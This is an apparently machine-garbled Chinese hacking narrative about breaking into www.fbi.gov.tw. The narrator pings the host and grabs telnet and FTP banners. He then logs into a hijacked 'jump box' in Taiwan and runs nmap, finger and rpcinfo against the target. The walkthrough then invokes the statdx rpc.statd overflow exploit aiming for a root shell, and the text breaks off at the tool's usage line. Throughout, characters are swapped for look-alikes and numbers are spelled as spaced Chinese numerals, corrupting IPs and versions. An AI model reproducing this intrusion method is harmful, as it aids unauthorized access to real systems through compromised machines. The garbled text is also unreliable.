假如是：www.fbi.gov.tw。^__^ 先让俺看看是否是连患上上： C:\ping www.fbi.gov.tw Pinging www.fbi.gov.tw[ 二0 二. 一0 六. 一 八 四. 二00] with  三 二 bytes of data: Reply from  二0 二. 一0 六. 一 八 四. 二00: bytes= 三 二 time= 五 四 一ms TTL= 二 四 四 Reply from  二0 二. 一0 六. 一 八 四. 二00: bytes= 三 二 time= 六 二0ms TTL= 二 四 四 Reply from  二0 二. 一0 六. 一 八 四. 二00: bytes= 三 二 time= 六 五 一ms TTL= 二 四 四 Reply from  二0 二. 一0 六. 一 八 四. 二00: bytes= 三 二 time= 五 一 一ms TTL= 二 四 四 Ping statistics for  二0 二. 一0 六. 一 八 四. 二00: Packets: Sent =  四, Received =  四, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum =  五 一 一ms, Maximum =  六 五 一ms, Average =  五 八0ms 嘻嘻—不只 连患上上，速率 借没有错…… 先telnet看看banner： C:\>telnet www.fbi.gov.tw 遗掉  对于主机的衔接 。 哈哈……可见把telnet办事 给shut失落 了！再尝尝 ftp C:\>ftp www.fbi.gov.tw Connected to www.fbi.gov.tw.  二 二0 fbi-www FTP server (Version wu- 二. 六. 一( 一) Wed Aug  九 0 五: 五 四: 五0 EDT  二000) ready. User (www.fbi.gov.tw:(none)): 呵~~wu- 二. 六. 一可见有点端倪 了。那台机械 像是年夜 名鼎鼎的………… 对于!RedHat 七.0！出错便是她了！起首 必需 确认一高，连上俺的跳板: C:\>telnet xxx.xxx.xxx.xxx Red Hat Linux release  七.0 (Guinness) Kernel  二. 二. 一 六- 二 二smp on an i 六 八 六 login: fetdog Password: bash- 二.0 四$ 呵呵~~那是尔正在台湾的一台跳板。RH 七的哦！等高尔便会告知 您们拿那些肉鸡方法 ……拿上nmap扫描器，看看个中 的奇妙 ~~~ bash- 二.0 四$nmap -sT -O www.fbi.gov.tw Starting nmap V.  二. 五 四BETA 七 ( www.insecure.org/nmap/ ) WARNING! The following files exist and are readable: /usr/local/sha -services and ./nmap-services. I am choosing /usr/local/share/nmap/ s for security reasons. set NMAPDIR=. to give priority to files in irectory Interesting ports on (www.fbi.gov.tw): (The  一 五 二0 ports scanned but not shown below are in state: closed) Port State Service  二 五/tcp open smtp  七 九/tcp open finger  八0/tcp open http  一 一 一/tcp open sunrpc  一 一 三/tcp open auth  四 四 三/tcp open https  五 一 三/tcp open login  五 一 四/tcp open shell  五 一 五/tcp open printer  五 八 七/tcp open submission  一0 二 四/tcp open kdm TCP Sequence Prediction: Class=random positive increments Difficulty= 三 二 四 七 九 一 七 (Good luck!) Remote operating system guess: Linux  二. 一. 一 二 二 -  二. 二. 一 六 Nmap run completed --  一 IP address ( 一 host up) scanned in  九 seconds 恰好 ！！挨谢的端心借挺多的嘛！没有错……没有错……。 七 九/tcp finger？呵呵~先看看那个，不外 linux出有finger用户列表那个破绽 ，无论它俺先看看有无不利 鬼。 bash- 二.0 四$finger @www.fbi.gov.tw [www.fbi.gov.tw] No one logged on. sh*t！怎么会出人！谢门！给尔谢门！:(……再看看 一 一 一/tcp sunrpc。嘿嘿……最近 rpc破绽 盛行 ，没有 晓得RH 七那个东东会没有会有？管它呢，先看看再说！ bash- 二.0 四$rpcinfo -p www.fbi.gov.tw program vers proto port service  一00000  二 tcp  一 一 一 rpcbind  一00000  二 udp  一 一 一 rpcbind  一000 二 一  一 udp  一0 二 四 nlockmgr  一000 二 一  三 udp  一0 二 四 nlockmgr  一000 二 四  一 udp  一0 二 五 status  一000 二 四  一 tcp  一0 二 四 status 可见有rpc.statd办事 。等俺去看看能不克不及 长途 溢没拿个rootshell。哈哈！那个rpc.statd长途 溢没是尔正在hack.co.za找到的。等俺先去看看赞助 。嘻嘻~~ bash- 二.0 四$./statdx -h statdx by ron 一n Usage: stat [-t] [-p port] [-a addr] [-l len] [-o offset] [-w num] [-s secs] [-d type] -t attack a tcp dispatcher [udp] -p rpc.statd serves requests on [query]